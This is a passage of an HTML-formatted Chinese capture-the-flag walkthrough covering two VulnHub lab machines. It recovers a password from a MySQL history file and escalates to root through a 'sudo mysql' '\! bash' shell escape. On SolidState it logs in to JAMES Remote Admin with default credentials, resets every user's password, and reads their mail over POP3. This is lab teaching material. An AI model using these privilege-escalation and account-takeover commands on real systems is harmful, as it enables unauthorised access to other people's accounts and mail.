&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;_HiStOrY_V2_
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;show&lt;span class="se"&gt;\0&lt;/span&gt;40databases&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;quit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;create&lt;span class="se"&gt;\0&lt;/span&gt;40database&lt;span class="se"&gt;\0&lt;/span&gt;40&lt;span class="s1"&gt;&amp;#39;support&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;create&lt;span class="se"&gt;\0&lt;/span&gt;40database&lt;span class="se"&gt;\0&lt;/span&gt;40support&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;use&lt;span class="se"&gt;\0&lt;/span&gt;40support
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;create&lt;span class="se"&gt;\0&lt;/span&gt;40table&lt;span class="se"&gt;\0&lt;/span&gt;40users&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;show&lt;span class="se"&gt;\0&lt;/span&gt;40tables
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;40*&lt;span class="se"&gt;\0&lt;/span&gt;40from&lt;span class="se"&gt;\0&lt;/span&gt;40support
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;show&lt;span class="se"&gt;\0&lt;/span&gt;40tables&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;40*&lt;span class="se"&gt;\0&lt;/span&gt;40from&lt;span class="se"&gt;\0&lt;/span&gt;40support&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;insert&lt;span class="se"&gt;\0&lt;/span&gt;40into&lt;span class="se"&gt;\0&lt;/span&gt;40support&lt;span class="se"&gt;\0&lt;/span&gt;40&lt;span class="o"&gt;(&lt;/span&gt;tom,&lt;span class="se"&gt;\0&lt;/span&gt;40xx11yy22!&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;quit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413161244544" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413161244544.png"&gt;&lt;/p&gt;
&lt;p&gt;替换&lt;code&gt;\40&lt;/code&gt;字符为空格，以为这里用的ascii码显示，然后发现tom的密码就是&lt;code&gt;xx11yy22!&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413161416598" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413161416598.png"&gt;&lt;/p&gt;
&lt;h3 id="方法一su-root提权"&gt;方法一：su root提权
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250413161606536" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413161606536.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413161632738" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413161632738.png"&gt;&lt;/p&gt;
&lt;h3 id="方法二mysql提权"&gt;方法二：mysql提权
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo mysql -u tom -p 
\! bash
echo $shell
id
cd /root
ls
cat flag.txt 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250413162304687" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413162304687.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413162413368" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413162413368.png"&gt;&lt;/p&gt;
&lt;h2 id="solidstate靶场"&gt;SolidState靶场
&lt;/h2&gt;&lt;p&gt;靶机下载地址：https://download.vulnhub.com/solidstate/SolidState.zip&lt;/p&gt;
&lt;h3 id="信息收集-1"&gt;信息收集
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250413170611611" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413170611611.png"&gt;&lt;/p&gt;
&lt;p&gt;80端口打开网页如下&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413170709255" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413170709255.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描网站目录如下，没有什么特别的东西。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413171507441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413171507441.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Readme.txt&lt;/code&gt;是作者介绍靶场的由来&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413171604696" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413171604696.png"&gt;&lt;/p&gt;
&lt;p&gt;回到之前的扫描结果中，除了80端口还开放了22端口，但是7.4的版本几乎没有poc能直接利用，还发现有25、110、 119端口开放似乎是搞了个JAMES的邮件系统。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;└─$ nmap -sV 172.168.169.129 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-04-13 05:03 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0033s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Not shown: &lt;span class="m"&gt;995&lt;/span&gt; closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;25/tcp open smtp JAMES smtpd 2.3.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.25 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;110/tcp open pop3 JAMES pop3d 2.3.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;119/tcp open nntp JAMES nntpd &lt;span class="o"&gt;(&lt;/span&gt;posting ok&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:3F:7E:60 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Host: solidstate&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 19.92 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再做一次细致的扫描&lt;code&gt; nmap -sS -sV -A -T5 -p- 172.168.169.129&lt;/code&gt;发现有4555端口是远程端口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;└─$ nmap -sS -sV -A -T5 -p- 172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-04-13 05:19 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0017s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Not shown: &lt;span class="m"&gt;65529&lt;/span&gt; closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;25/tcp open smtp JAMES smtpd 2.3.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smtp-commands: solidstate Hello nmap.scanme.org &lt;span class="o"&gt;(&lt;/span&gt;172.168.169.128 &lt;span class="o"&gt;[&lt;/span&gt;172.168.169.128&lt;span class="o"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.25 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Home - Solid State Security
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.25 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;110/tcp open pop3 JAMES pop3d 2.3.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;119/tcp open nntp JAMES nntpd &lt;span class="o"&gt;(&lt;/span&gt;posting ok&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;4555/tcp open james-admin JAMES Remote Admin 2.3.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:3F:7E:60 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 3.X&lt;span class="p"&gt;|&lt;/span&gt;4.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 3.2 - 4.14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;1&lt;/span&gt; hop
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Host: solidstate&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;TRACEROUTE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;HOP RTT ADDRESS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;1&lt;/span&gt; 1.72 ms 172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 83.89 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输入命令&lt;code&gt;nc 172.168.169.129 4555 &lt;/code&gt;发现可以直接&lt;code&gt;root/root&lt;/code&gt;进，然后输入&lt;code&gt;listusers&lt;/code&gt;发现有几个用户名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413175203699" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413175203699.png"&gt;&lt;/p&gt;
&lt;p&gt;还能&lt;code&gt;setpassword&lt;/code&gt;重设密码，把所有用户的密码都设为123456。然后用telnet登录邮件服务器。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413175424205" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413175424205.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;telnet 172.168.169.129 &lt;span class="m"&gt;110&lt;/span&gt; &lt;span class="c1"&gt;# 登录邮件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;user john &lt;span class="c1"&gt;# 登录名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;pass &lt;span class="m"&gt;123456&lt;/span&gt; &lt;span class="c1"&gt;# 登录密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;list &lt;span class="c1"&gt;# 列出信件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;retr &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 读第一封信&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413175903513" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413175903513.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413180217377" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413180217377.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到James给John发了一封邮件让他限制Mindy的权限，然后给她一个临时密码。这里能收集到的信息有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;John和James可能都是管理员，且有一定运维基础，所以他们的密码应该难以爆破和登入。&lt;/li&gt;
&lt;li&gt;Mindy大概率是个新人，但是系统给他分配的账号可能包含一些高级权限，而Mindy目前不能完全控制平台。&lt;/li&gt;
&lt;li&gt;John可能按照James的指示给Mindy一个密码，极有可能在John写给Mindy的邮件里。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以我们下一步应该看Mindy的邮件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;user mindy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;+OK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;pass &lt;span class="m"&gt;123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;+OK Welcome mindy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;list
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;+OK &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;1945&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;1109&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;836&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;retr &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;+OK Message follows
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Return-Path: &amp;lt;mailadmin@localhost&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Message-ID: &amp;lt;5420213.0.1503422039826.JavaMail.root@solidstate&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;MIME-Version: 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: text/plain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-ascii
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Content-Transfer-Encoding: 7bit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;Delivered-To: mindy@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;Received: from 192.168.11.142 &lt;span class="o"&gt;([&lt;/span&gt;192.168.11.142&lt;span class="o"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; by solidstate &lt;span class="o"&gt;(&lt;/span&gt;JAMES SMTP Server 2.3.2&lt;span class="o"&gt;)&lt;/span&gt; with SMTP ID &lt;span class="m"&gt;798&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &amp;lt;mindy@localhost&amp;gt;&lt;span class="p"&gt;;&lt;/span&gt;
